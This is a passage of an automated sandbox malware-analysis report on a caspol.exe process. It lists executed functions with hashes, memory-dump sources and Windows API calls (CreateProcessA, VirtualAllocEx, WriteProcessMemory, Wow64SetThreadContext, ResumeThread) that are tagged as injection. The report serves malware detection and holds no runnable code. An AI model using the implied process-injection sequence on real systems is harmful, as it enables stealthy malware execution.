Instruction Fuzzy Hash: 75218801A4EBD50FE703933868A42A17FA1AF87124B0E00D7D489CF1F3D80C5D2AD3A2

Analysis Process: caspol.exePID: 3888, Parent PID: 3580COMMON

Execution Graph

Execution Coverage:	15.5%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	161
Total number of Limit Nodes:	8

Executed Functions

Function 00E310A6 Relevance: 3.9, Strings: 3, Instructions: 102
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

$p, xrefs: 00E31293
$p, xrefs: 00E312A3
4,p, xrefs: 00E31244

Memory Dump Source

Source File: 0000000B.00000002.470662441.0000000000E30000.00000040.00000800.00020000.00000000.sdmp, Offset: 00E30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_e30000_caspol.jbxd

Similarity

API ID:
String ID: 4,p$$p$$p
API String ID: 0-3634262024
Opcode ID: 23316e87c331fe002e2e71a9e0c288703bfc01fa41966e71965d0861ef8c7ae4
Instruction ID: 437f7224c14b28d1fb8c4dc026fb59ebd4d13b90e0d23ded465a3d62620c9285
Opcode Fuzzy Hash: 23316e87c331fe002e2e71a9e0c288703bfc01fa41966e71965d0861ef8c7ae4
Instruction Fuzzy Hash: E9410370D04208DFDB08DFA9D8587EEBFB2BF89300F2091AAD015AB2A5DB741941DF84

Function 0038E2C5 Relevance: 1.8, APIs: 1, Instructions: 328
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessA.KERNEL32(?,?,?,?,?,?,?,?,?,?), ref: 0038E597

Memory Dump Source

Source File: 0000000B.00000002.468692237.0000000000380000.00000040.00000800.00020000.00000000.sdmp, Offset: 00380000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_380000_caspol.jbxd

Similarity

API ID: CreateProcess
String ID:
API String ID: 963392458-0
Opcode ID: 51634b39b0ff80be0bd0c76116776228f8349abcd9a6b9cff732597c492fca72
Instruction ID: 47e367f176d176e1f8e40a740b8ac36597daea846bfc53d6cded6d26df568724
Opcode Fuzzy Hash: 51634b39b0ff80be0bd0c76116776228f8349abcd9a6b9cff732597c492fca72
Instruction Fuzzy Hash: 8FC13770D002198FDF25DFA8C845BEEBBB1BF49304F0095AAD819B7290DB749A85CF95

Function 0038E2D0 Relevance: 1.8, APIs: 1, Instructions: 323
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessA.KERNEL32(?,?,?,?,?,?,?,?,?,?), ref: 0038E597

Memory Dump Source

Source File: 0000000B.00000002.468692237.0000000000380000.00000040.00000800.00020000.00000000.sdmp, Offset: 00380000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_380000_caspol.jbxd

Similarity

API ID: CreateProcess
String ID:
API String ID: 963392458-0
Opcode ID: 7ae855911e1277527fc01cd245986d3cc581a5d77dd91d83e4397acd4f61b71d
Instruction ID: 5c4e6de747d24dc470acac41df273fadcd752d8021a52789deda8a35f5a72943
Opcode Fuzzy Hash: 7ae855911e1277527fc01cd245986d3cc581a5d77dd91d83e4397acd4f61b71d
Instruction Fuzzy Hash: 47C13770D002198FDF25DFA8C845BEEBBB1BF49304F0095AAD819B7290DB749A85CF95

Function 0038DF31 Relevance: 1.6, APIs: 1, Instructions: 122
injectionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

WriteProcessMemory.KERNELBASE(?,?,?,?,?), ref: 0038E00B

Memory Dump Source

Source File: 0000000B.00000002.468692237.0000000000380000.00000040.00000800.00020000.00000000.sdmp, Offset: 00380000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_380000_caspol.jbxd

Similarity

API ID: MemoryProcessWrite
String ID:
API String ID: 3559483778-0
Opcode ID: 85283234250803a864cbf8f408f2d64aa2ed9a2164fac6e6d8b40e3c2422baca
Instruction ID: ffcee859201791522e53468664f5aed78a6e947f8de1f02e21f1ff0a3eaa9019
Opcode Fuzzy Hash: 85283234250803a864cbf8f408f2d64aa2ed9a2164fac6e6d8b40e3c2422baca
Instruction Fuzzy Hash: 024198B4D012489FCF10CFA9D984AEEFBF1AB49314F24942AE815B7250D375AA45CF64

Function 0038DF38 Relevance: 1.6, APIs: 1, Instructions: 118
injectionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

WriteProcessMemory.KERNELBASE(?,?,?,?,?), ref: 0038E00B

Memory Dump Source

Source File: 0000000B.00000002.468692237.0000000000380000.00000040.00000800.00020000.00000000.sdmp, Offset: 00380000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_380000_caspol.jbxd

Similarity

API ID: MemoryProcessWrite
String ID:
API String ID: 3559483778-0
Opcode ID: c7cd2df449152b3f3895aba81fd0bdd19973f4fe81cee8e710977cf876f7551d
Instruction ID: 48ac77a1f44e0d93ab0655da4d2528bf103366499d1b50982e90ea6959161cf1
Opcode Fuzzy Hash: c7cd2df449152b3f3895aba81fd0bdd19973f4fe81cee8e710977cf876f7551d
Instruction Fuzzy Hash: D441A9B4D002489FCF00CFAAD984AEEFBF1BB49314F24942AE815B7250D375AA45CF64

Function 0038E090 Relevance: 1.6, APIs: 1, Instructions: 111
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ReadProcessMemory.KERNELBASE(?,?,?,?,?), ref: 0038E14A

Memory Dump Source

Source File: 0000000B.00000002.468692237.0000000000380000.00000040.00000800.00020000.00000000.sdmp, Offset: 00380000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_380000_caspol.jbxd

Similarity

API ID: MemoryProcessRead
String ID:
API String ID: 1726664587-0
Opcode ID: 552ec85157fd54966f24bd3193509683270288495d2165b7232bcd303bfc7b8f
Instruction ID: 1dbf546a6930c165651208d0a490502fd8372bb51f477f944083ff248ce5e81f
Opcode Fuzzy Hash: 552ec85157fd54966f24bd3193509683270288495d2165b7232bcd303bfc7b8f
Instruction Fuzzy Hash: C641A8B9D002589FCF10CFA9D984AEEFBB1BB49314F24942AE815B7350C734AA45CF64

Function 0038E098 Relevance: 1.6, APIs: 1, Instructions: 108
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ReadProcessMemory.KERNELBASE(?,?,?,?,?), ref: 0038E14A

Memory Dump Source

Source File: 0000000B.00000002.468692237.0000000000380000.00000040.00000800.00020000.00000000.sdmp, Offset: 00380000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_380000_caspol.jbxd

Similarity

API ID: MemoryProcessRead
String ID:
API String ID: 1726664587-0
Opcode ID: 8d7815b07efac4e3217518f0422e3272688b0b1c41bf47e8d2ef22c20b1826e0
Instruction ID: 9fb84959db46924984b6894cac2fab1c00cd87a8038ba1f4cf78511e673af677
Opcode Fuzzy Hash: 8d7815b07efac4e3217518f0422e3272688b0b1c41bf47e8d2ef22c20b1826e0
Instruction Fuzzy Hash: CF41AAB9D002589FCF10CFA9D984AEEFBB1BF49314F24942AE815B7210D735A945CF64

Function 0038DE09 Relevance: 1.6, APIs: 1, Instructions: 107
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAllocEx.KERNELBASE(?,?,?,?,?), ref: 0038DEBA

Memory Dump Source

Source File: 0000000B.00000002.468692237.0000000000380000.00000040.00000800.00020000.00000000.sdmp, Offset: 00380000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_380000_caspol.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 5f4a1d724b8d3feaf18afe2774db7beff90d6d31332e1112b5030cfabe618203
Instruction ID: 58174448eb001c44be6279c0e6724520e09d3c190856ba8d57f656fbbd18bb29
Opcode Fuzzy Hash: 5f4a1d724b8d3feaf18afe2774db7beff90d6d31332e1112b5030cfabe618203
Instruction Fuzzy Hash: A74198B8D002489FCF10CFA9D984AEEBBB1AF59314F24942AE815BB354D735A906CF54

Function 0038DE10 Relevance: 1.6, APIs: 1, Instructions: 103
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAllocEx.KERNELBASE(?,?,?,?,?), ref: 0038DEBA

Memory Dump Source

Source File: 0000000B.00000002.468692237.0000000000380000.00000040.00000800.00020000.00000000.sdmp, Offset: 00380000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_380000_caspol.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 74e958968a0e1339930662e37f6a6d6e4cc2ed66d00d42218030b99747666a00
Instruction ID: 0cb6a8a47073644505d07b69338d2e24c64e48bc0c81569694712221e7dbbc20
Opcode Fuzzy Hash: 74e958968a0e1339930662e37f6a6d6e4cc2ed66d00d42218030b99747666a00
Instruction Fuzzy Hash: DB41A9B8D002489BCF10CFA9D984AAEFBB1BB49310F10942AE815BB314D735A905CFA4

Function 0038D8A1 Relevance: 1.6, APIs: 1, Instructions: 98
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Wow64SetThreadContext.KERNEL32(?,?), ref: 0038D957

Memory Dump Source

Source File: 0000000B.00000002.468692237.0000000000380000.00000040.00000800.00020000.00000000.sdmp, Offset: 00380000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_380000_caspol.jbxd

Similarity

API ID: ContextThreadWow64
String ID:
API String ID: 983334009-0
Opcode ID: eda22145724633b6c583d9331185860ec7353d3748c54ca6019816944e69c621
Instruction ID: 4e6b62e121a9cdb6975e4919152261ef7986474d07e42d53e80824388c38b7bc
Opcode Fuzzy Hash: eda22145724633b6c583d9331185860ec7353d3748c54ca6019816944e69c621
Instruction Fuzzy Hash: 2641BBB5D002589FCF10DFA9D884AEEFBB1AF49314F24846AE455B7244C738AA49CF64

Function 0038D8A8 Relevance: 1.6, APIs: 1, Instructions: 96
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Wow64SetThreadContext.KERNEL32(?,?), ref: 0038D957

Memory Dump Source

Source File: 0000000B.00000002.468692237.0000000000380000.00000040.00000800.00020000.00000000.sdmp, Offset: 00380000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_380000_caspol.jbxd

Similarity

API ID: ContextThreadWow64
String ID:
API String ID: 983334009-0
Opcode ID: 41360ec09f4929af31c4dcab446ab900eb4391852077613e4d63ce234d4a86b5
Instruction ID: 3829027e02be0b8f170b4154fa675126beabd0cfbdf7046fc8ade48ba96e0e03
Opcode Fuzzy Hash: 41360ec09f4929af31c4dcab446ab900eb4391852077613e4d63ce234d4a86b5
Instruction Fuzzy Hash: 3741ACB5D002589FCF10DFA9D884AEEFBB1AF49314F24806AE415B7244D738A945CF54

Function 0038D7B1 Relevance: 1.6, APIs: 1, Instructions: 76threadCOMMON

Download Yara Rule

APIs

ResumeThread.KERNELBASE(?), ref: 0038D836

Memory Dump Source

Source File: 0000000B.00000002.468692237.0000000000380000.00000040.00000800.00020000.00000000.sdmp, Offset: 00380000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_380000_caspol.jbxd

Similarity

API ID: ResumeThread
String ID:
API String ID: 947044025-0
Opcode ID: 721de47c14d54e878141a0b8a82ef82127ae958a33b34fc5c79f9157a3a511db
Instruction ID: 9b5232bc295bb9c9af045fbb8a092dca36046da2331b55458ed661ccc28da171
Opcode Fuzzy Hash: 721de47c14d54e878141a0b8a82ef82127ae958a33b34fc5c79f9157a3a511db
Instruction Fuzzy Hash: 9C31CAB5D002089FCF14CFA9D984AEEFBB1AF49314F24846AE814B7340D734A906CF54

Function 0038D7B8 Relevance: 1.6, APIs: 1, Instructions: 75threadCOMMON

Download Yara Rule

APIs

ResumeThread.KERNELBASE(?), ref: 0038D836

Memory Dump Source

Source File: 0000000B.00000002.468692237.0000000000380000.00000040.00000800.00020000.00000000.sdmp, Offset: 00380000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_380000_caspol.jbxd

Similarity

API ID: ResumeThread
String ID:
API String ID: 947044025-0
Opcode ID: 004b7d03882be934d52bfa851acabd0bc4759fc631b704456377d6bca9611bcb
Instruction ID: 9d102da0591561b36cd727d9933889c529a91d3cc751a7da19c80584321ae664
Opcode Fuzzy Hash: 004b7d03882be934d52bfa851acabd0bc4759fc631b704456377d6bca9611bcb
Instruction Fuzzy Hash: 6B31BAB4D002189FCF14CFA9D984AAEFBB5AF49314F24946AE815B7340C735A905CF94

Function 00E3163B Relevance: 1.3, Strings: 1, Instructions: 34COMMON

Download Yara Rule

Strings

(, xrefs: 00E31F10

Memory Dump Source

Source File: 0000000B.00000002.470662441.0000000000E30000.00000040.00000800.00020000.00000000.sdmp, Offset: 00E30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_e30000_caspol.jbxd

Similarity

API ID:
String ID: (
API String ID: 0-3887548279
Opcode ID: 1e0462014fde222e05c13e15d498308f61c74add02c85b22134747f4ce06036c
Instruction ID: e4594c2485e2c8fb9dc48fcc6b57fff71b70af64d2a0ea265e4f04fc2abd9abb
Opcode Fuzzy Hash: 1e0462014fde222e05c13e15d498308f61c74add02c85b22134747f4ce06036c
Instruction Fuzzy Hash: 5C01B675949218CFDB60CF64C988BECBBB9BB49304F5491D9D80DA3251C7319E86DF40

Function 00E30CF0 Relevance: .1, Instructions: 149COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.470662441.0000000000E30000.00000040.00000800.00020000.00000000.sdmp, Offset: 00E30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_e30000_caspol.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f03d953cb6a665b99b32b44644170259e2d408590456460a01e2429722a0f297
Instruction ID: 656291f4ae379a4179de7472ac2f525bfde66a95d2e753d36002864eb8529802
Opcode Fuzzy Hash: f03d953cb6a665b99b32b44644170259e2d408590456460a01e2429722a0f297
Instruction Fuzzy Hash: 6751D4B4E05219CFCB04CFAAD9949AEFBF6BF89300F24A915D419A7356C770A841CF90

Function 00E31444 Relevance: .1, Instructions: 104COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.470662441.0000000000E30000.00000040.00000800.00020000.00000000.sdmp, Offset: 00E30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_e30000_caspol.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ffb9a44221e7c8b79bbed4779f27d84056f98baac219dba554c626d746198259
Instruction ID: d1ced00f9a50497b501eac1c7f889eb706c8078f5ed0a10bc5fab13f820f8fb6
Opcode Fuzzy Hash: ffb9a44221e7c8b79bbed4779f27d84056f98baac219dba554c626d746198259
Instruction Fuzzy Hash: A5410875D4421ADFDB20CF65C844BE8BBB9BF99300F20A6EAD509B6240EB705AC5DF40

Function 00E315A2 Relevance: .1, Instructions: 97COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.470662441.0000000000E30000.00000040.00000800.00020000.00000000.sdmp, Offset: 00E30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_e30000_caspol.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3ac4f5fda024f366a033b67049acf03748a8ffdcd73786102a5ba76fabf96797
Instruction ID: eea3ce823ded39128bcccf79e27f1920ddd92c792a6dbf92a6ed5c23f58ce66b
Opcode Fuzzy Hash: 3ac4f5fda024f366a033b67049acf03748a8ffdcd73786102a5ba76fabf96797
Instruction Fuzzy Hash: 7A41EB38949218CFCB64CF54C998BE8BBB5AB4A315F24A1DAC44EB3291D7319AC5DF00

Function 00E30CDF Relevance: .1, Instructions: 91COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.470662441.0000000000E30000.00000040.00000800.00020000.00000000.sdmp, Offset: 00E30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_e30000_caspol.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: be4ffc91c97b0e376fd3e48990ca68867a3867b16d442affce7d0b48b476bed6
Instruction ID: 3b2de78f6366ddec2c7831524a72760197b76f0dcc0e3b2ab2049e143710751f
Opcode Fuzzy Hash: be4ffc91c97b0e376fd3e48990ca68867a3867b16d442affce7d0b48b476bed6
Instruction Fuzzy Hash: 0C310B74E09219CFDB04CFAAD8986EEBFB5AF99300F14A82AD406A3351D7705846DF40

Function 00E304FE Relevance: .1, Instructions: 87COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.470662441.0000000000E30000.00000040.00000800.00020000.00000000.sdmp, Offset: 00E30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_e30000_caspol.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 417f3ef901775910b7179f96f79d8ba656c06aee24f6ea54923b3f7de1a18e55
Instruction ID: e9c21cb86c1f635c15d5dd5b2a9574aba9fc5736cbc80d70fde1ef99ba92f634
Opcode Fuzzy Hash: 417f3ef901775910b7179f96f79d8ba656c06aee24f6ea54923b3f7de1a18e55
Instruction Fuzzy Hash: E931D474E002188FDB04DFA4D859AAEBBB2FF8A310F209129D409BB799DB305D41CF90

Function 00E304A9 Relevance: .1, Instructions: 75COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.470662441.0000000000E30000.00000040.00000800.00020000.00000000.sdmp, Offset: 00E30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_e30000_caspol.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: de75fc0d70551424879c85bf79906e3dd7a6ae7b502796fbac569102f99914a9
Instruction ID: 659f25d86203f94e351a62955da7db3d463ce5fa5053337594ac8a1f6b663dad
Opcode Fuzzy Hash: de75fc0d70551424879c85bf79906e3dd7a6ae7b502796fbac569102f99914a9
Instruction Fuzzy Hash: E33194B4D05248DFCB04DFE5E8994EDBBB5BF89310B20A02AE816AB755D7305942CF11

Function 0033D1D4 Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.468343525.000000000033D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0033D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_33d000_caspol.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1a267f806f6ebb33a19ee775fe420bbae3de6be51228db7ca6c47dc84699797f
Instruction ID: 1f4a1d924d0206ae11ad3fca3e3eb65321403551cbb80be074aa7220e8809973
Opcode Fuzzy Hash: 1a267f806f6ebb33a19ee775fe420bbae3de6be51228db7ca6c47dc84699797f
Instruction Fuzzy Hash: CC21D4B5604240EFDB16CF14E9C0B26BBA5FB84314F34C9ADE8498B256C736D84ACB61

Function 0033D01C Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.468343525.000000000033D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0033D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_33d000_caspol.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: be8f781f43a066f1a8fb8df64f31c66aebabf1e3a7ca7bcd6c6c179c4b83a725
Instruction ID: 56110748352d12fd77e890f80dc5e5bba7208c6554272c655abe471f2bde6dff
Opcode Fuzzy Hash: be8f781f43a066f1a8fb8df64f31c66aebabf1e3a7ca7bcd6c6c179c4b83a725
Instruction Fuzzy Hash: 7A21C5B5604240DFDB1ACF14E8C4B26BF65EB84714F34C569E8494B656C336D847CB61

Function 0033D006 Relevance: .1, Instructions: 63COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.468343525.000000000033D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0033D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_33d000_caspol.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 23ea1ab1228b6360fd632fa0b615b43b6b21454dd832e5833278062370f2ed3e
Instruction ID: 659a3cdd2746e14931b094aedeb1d7f576ec5f8beb474ceb86b64c3312b65f53
Opcode Fuzzy Hash: 23ea1ab1228b6360fd632fa0b615b43b6b21454dd832e5833278062370f2ed3e
Instruction Fuzzy Hash: 12216D755083809FCB06CF24D994B11BFB1EB46714F29C5EAD8498F266C33A985ACB62

Function 00E315C6 Relevance: .1, Instructions: 63COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.470662441.0000000000E30000.00000040.00000800.00020000.00000000.sdmp, Offset: 00E30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_e30000_caspol.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: afeac17025fe957e858b20e96482b2ce3635190296a16912fdf0d36cfcebbd81
Instruction ID: 9351e49b637bd7eb2cd7ba8c8c8b59c87e908a74d24f72e6d9900398193bde2e
Opcode Fuzzy Hash: afeac17025fe957e858b20e96482b2ce3635190296a16912fdf0d36cfcebbd81
Instruction Fuzzy Hash: 7821C438E09218DFCB60CFA4C898BECBBB5AF89314F24A199940DA7255D7315A82CF40

Function 00E304E5 Relevance: .1, Instructions: 56COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.470662441.0000000000E30000.00000040.00000800.00020000.00000000.sdmp, Offset: 00E30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_e30000_caspol.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e792cee827ca20eea1b5dc3722b5dbf5234d188ab79e83d173bc6478187a4122
Instruction ID: d38dfd2a0281af9ee9f9198f0e223bdeb3bf7093e9552401b14136436607d6dc
Opcode Fuzzy Hash: e792cee827ca20eea1b5dc3722b5dbf5234d188ab79e83d173bc6478187a4122
Instruction Fuzzy Hash: 19214FB8D09259DFCB00DFE4E8999EDBBB5FF89310F20912AE806AB755D7305846DB00

Function 00E313EC Relevance: .1, Instructions: 54COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.470662441.0000000000E30000.00000040.00000800.00020000.00000000.sdmp, Offset: 00E30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_e30000_caspol.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d77d10b4ce8824dca088f8f63361fe263faea9f1b236d13c1d7f652a1d0c69f2
Instruction ID: c245d643e87d334c63ded18c511f7ddf6779923361873f940101a6572d649389
Opcode Fuzzy Hash: d77d10b4ce8824dca088f8f63361fe263faea9f1b236d13c1d7f652a1d0c69f2
Instruction Fuzzy Hash: 69112E74945218DFDB60CF54C848BE8BBB8AB59300F20A0DDD54EB7280D7719AC2CF40

Function 00E30B70 Relevance: .1, Instructions: 54COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.470662441.0000000000E30000.00000040.00000800.00020000.00000000.sdmp, Offset: 00E30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_e30000_caspol.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c3f8884d733d351f98aa8d3c590e845b4040d116df599b17ae661c470991f2c1
Instruction ID: 473336710e68b0d9471c44a00cca1c5ae9b071631b59b1300f0462790abf036b
Opcode Fuzzy Hash: c3f8884d733d351f98aa8d3c590e845b4040d116df599b17ae661c470991f2c1
Instruction Fuzzy Hash: FF11E678D09209DFCB40DFA9D4556EEFFF1AB8A304F2491AAC859A3355D7304A02CF91

Function 0033D1CF Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.468343525.000000000033D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0033D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_33d000_caspol.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cf97df7c3807292c182f1b7c3dfb3e406c11d3bc6a6cd3de1006cfbaae9c3a26
Instruction ID: 6f3c2b5aeb1ca76e727443e0bed775e69620a83046e9d1ba6b13e4deeb447383
Opcode Fuzzy Hash: cf97df7c3807292c182f1b7c3dfb3e406c11d3bc6a6cd3de1006cfbaae9c3a26
Instruction Fuzzy Hash: 77118B75904280DFDB12CF14D5C4B16BBA1FB84314F28CAADD8498B656C33AD85ACBA1

Function 00E31A1A Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.470662441.0000000000E30000.00000040.00000800.00020000.00000000.sdmp, Offset: 00E30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_e30000_caspol.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6ef731be43d8faf4ddd09d2933230e612194b899599d25d01f552c6681105520
Instruction ID: a65477bb39ce0a63aedc195a6787c82431502f494ec106c142020f54ef6b3ea6
Opcode Fuzzy Hash: 6ef731be43d8faf4ddd09d2933230e612194b899599d25d01f552c6681105520
Instruction Fuzzy Hash: 84111F38905214CFDB64CF54C598BE8BBF9AB4A315F24A4DEC44D67292C7319E86CF10

Function 00E30B80 Relevance: .0, Instructions: 47COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.470662441.0000000000E30000.00000040.00000800.00020000.00000000.sdmp, Offset: 00E30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_e30000_caspol.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1498899f971e4d27bfd8e6e9efe1f1721a87c0b8153a8c8a7156bb05198b6c89
Instruction ID: 3e79a1ce9d97980514b0991633cd3afe1ddce9213ece41a53993850b5a10367e
Opcode Fuzzy Hash: 1498899f971e4d27bfd8e6e9efe1f1721a87c0b8153a8c8a7156bb05198b6c89
Instruction Fuzzy Hash: C91190B8D0420ADFCB44DFA9D5596AEFBF5BB89300F2490AAC819A3354E7305A41CF91

Function 00E3141C Relevance: .0, Instructions: 46COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.470662441.0000000000E30000.00000040.00000800.00020000.00000000.sdmp, Offset: 00E30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_e30000_caspol.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 95cbd5a55d2a851866a1fb1c5671f8f6a817e3e2901860a1686af9522076fe02
Instruction ID: 41f901b82b9f1d9b535ed1f62613735a60a87f0364295bbd1c1241108773dae0
Opcode Fuzzy Hash: 95cbd5a55d2a851866a1fb1c5671f8f6a817e3e2901860a1686af9522076fe02
Instruction Fuzzy Hash: DF11ED75A45218DFDB60CF54CC84BE8BBB8AB59300F24A0DDD50EB7280D7719A85CF10

Function 00E3181B Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.470662441.0000000000E30000.00000040.00000800.00020000.00000000.sdmp, Offset: 00E30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_e30000_caspol.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bbd249e56f57bae1f0739bf3362acab5fb9d10e85fc1d772d660e94226992fc9
Instruction ID: efe32f0cf0555ea92d77db9784f8b3d21d971a55f5daf4eada84b692dae04aff
Opcode Fuzzy Hash: bbd249e56f57bae1f0739bf3362acab5fb9d10e85fc1d772d660e94226992fc9
Instruction Fuzzy Hash: DE112774908228CFCB65DF64C889BECBBF5AB49300F1450D9D40EAB282CB304AC8CF10

Function 00E3154F Relevance: .0, Instructions: 38COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.470662441.0000000000E30000.00000040.00000800.00020000.00000000.sdmp, Offset: 00E30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_e30000_caspol.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8d1d6ed959e8837fd88e5999da550262cbfc0b7112678b8e51c3adcf49de65f5
Instruction ID: 35039bdef1f91e43458b8306d1cce85bb9016c7c11ecadb9a7f2c27dd8966e88
Opcode Fuzzy Hash: 8d1d6ed959e8837fd88e5999da550262cbfc0b7112678b8e51c3adcf49de65f5
Instruction Fuzzy Hash: 8B012C79944218DFDB20CF50CC84BECBBB8AB19300F24A1D9D50DB7281D7706A85CF40

Function 00E31AE3 Relevance: .0, Instructions: 37COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.470662441.0000000000E30000.00000040.00000800.00020000.00000000.sdmp, Offset: 00E30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_e30000_caspol.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6bf53fc14498f9132c2b50c8f5d09e83f440d3fb8f1844db15bfe39f11c41031
Instruction ID: 04159d2e2256ec381dbb1aadc603ce17ea3fcd7adf0f178115a83465e5b17081
Opcode Fuzzy Hash: 6bf53fc14498f9132c2b50c8f5d09e83f440d3fb8f1844db15bfe39f11c41031
Instruction Fuzzy Hash: 2C014074E082549FCB51CB64CC98ADCBFB1BF4A304F2490EAD509AB246C7315A41CF00

Function 00E3190C Relevance: .0, Instructions: 35COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.470662441.0000000000E30000.00000040.00000800.00020000.00000000.sdmp, Offset: 00E30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_e30000_caspol.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8f1872726b76249f8223c19ddff863a17bb734360c263cb7b3021177b6dee530
Instruction ID: 66b449cccb58f9ee37dc917dffbfa8d7b06c7390a0bf2365decd7a5ddc2430d7
